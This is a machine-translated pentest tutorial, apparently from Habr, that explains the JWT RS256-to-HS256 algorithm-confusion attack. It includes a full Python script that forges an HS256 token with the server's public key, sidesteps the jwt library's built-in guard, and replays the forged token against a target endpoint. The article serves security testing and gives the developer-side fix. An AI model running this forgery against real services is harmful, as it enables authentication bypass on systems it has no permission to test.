JWT:数字签名攻击与MAC攻击

大家好 每月OTUS都会推出数种全新的独特课程,这就是Pentest ,这已不是什么秘密 渗透测试实践 按照既定传统,在课程开始前夕,我们将与您分享该领域有用材料的翻译。





在上次的渗透测试中,我遇到了一个基于JSON Web令牌 (或仅JWT)的授权方案。 JWT由三部分组成:标头,有效负载,验证信息。 标头的第一部分包含算法的名称,该名称稍后将用于JWT的验证部分。 这很危险,因为攻击者可以修改此信息,从而(可能)控制服务器将使用哪种方案进行验证。

通常使用两种电路:RS256( 数字签名 算法 )和HS256( 基于MAC的算法 )。 完全不安全的选择是NULL方案:根本不包含验证信息-不幸的是,目标Web服务器不接受NULL方案。

JWT type confusion攻击的一个小变化,如果服务器实现使用一个验证库,该验证库仅调用诸如verify(令牌,密钥)之类的代码并假定仅使用数字签名的令牌,则可能会起作用。 在这种情况下,第二个参数“密钥”将始终是公共的,并会显示出来以进行验证(数字签名使用私钥创建签名,并使用相应的公共密钥来验证创建的签名)。

现在,攻击者可以获得公共密钥,创建一个新的基于MAC的令牌,并使用它来创建对此令牌进行验证的一部分。 在基于MAC的方案中,仅需要密钥即可创建验证信息,因此攻击者会将公共密钥(数字签名)用作MAC的密钥。 如果现在将此令牌传递给服务器进行验证,则库将标识将用于令牌的方案(攻击者将其设置为HS256,指向MAC方案)。 该库将使用第二个参数作为创建MAC的输入。 由于这是公钥,因此新的MAC与发送给攻击者的MAC相匹配,并且由于匹配,服务器将接受伪造的令牌。 那么,应用程序开发人员应该怎么做? 如果服务器接受令牌,则服务器应始终检查所使用的算法是否与开发人员最初计划的算法匹配。

从理论上讲,这应该很容易验证,但是我没有找到一种有效的工具。 因此,我自己写了一个python脚本。 要使用它,必须在源代码中使用以下配置:

  • jwks_url :在哪里可以获取有关公钥的信息。 许多服务使用JWKS公开分发关键信息。
  • operation_url :使用JWT令牌进行授权的HTTP GET请求。
  • token :用于已配置操作的有效JWT。
  • audience :为其配置令牌的听众。

该脚本执行以下操作:

  • 下载JWKS配置文件并检索公共密钥设置。 由此,创建了一个pem表示。
  • 确保可以使用提取的公钥来验证配置的令牌;
  • 使用有效令牌执行已配置的操作,并显示接收到的HTTP状态代码和生成的文档(假定这将是JSON)。
  • 根据配置创建一个新令牌。 在新令牌中,类型将更改为HS256; 将计算MAC(基于开放密钥)并将其用作令牌的验证信息。
  • 使用修改后的令牌再次执行配置的操作,并显示HTTP状态代码以及返回的文档。

由于返回状态码(带有修改的令牌)为401(禁止授权),因此目标服务器端的授权检查有效,因此,不会受到signature-vs-mac攻击的破坏。 如果可行,将使用两个HTTP调用(使用原始令牌和修改后的令牌)创建相同的状态代码和类似的结果文档。

希望本文对您的渗透测试实践有所帮助,并乐于使用python脚本:

 import jwt import requests from jwcrypto import jwk from cryptography.x509 import load_pem_x509_certificate from cryptography.hazmat.backends import default_backend # configuration jwks_url = "https://localhost/oauth2/.well-known/jwks.json" operation_url = "https://localhost/web/v1/user/andy" audience = "https://localhost" token = "eyJh..." # retrieves key from jwks def retrieve_jwks(url): r = requests.get(url) if r.status_code == 200: for key in r.json()['keys']: if key['kty'] == "RSA": return jwk.JWK(**key) print("no usable RSA key found") else: print("could not retrieve JWKS: HTTP status code " + str(r.status_code)) def extract_payload(token, public_key, audience): return jwt.decode(token, public_key, audience=audience, algorithms='RS256') def retrieve_url(url, token): header = {'Authorization' : "Bearer " + token} return requests.get(url, headers=header) # call the original operation and output it's results original = retrieve_url(operation_url, token) print("original: status: " + str(original.status_code) + "\nContent: " + str(original.json())) # get key and extract the original payload (verify it during decoding to make # sure that we have the right key, also verify the audience claim) public_key = retrieve_jwks(jwks_url).export_to_pem() payload = extract_payload(token, public_key, audience) print("(verified) payload: " + str(payload)) # create a new token based upon HS256, cause the jwt library checks this # to prevent against confusion attacks.. that we actually try to do (: mac_key = str(public_key).replace("PUBLIC", "PRIVATE") hs256_token = jwt.encode(payload, key=mac_key, algorithm="HS256") # call the operation with the new token modified = retrieve_url(operation_url, str(hs256_token)) print("modified: status: " + str(modified.status_code) + "\nContent: " + str(modified.json())) 

仅此而已。 我们正在等待每个阅读完有关以下主题的免费网络研讨会的人: “如何开始解决Web上的错误

Source: https://habr.com/ru/post/zh-CN467015/


All Articles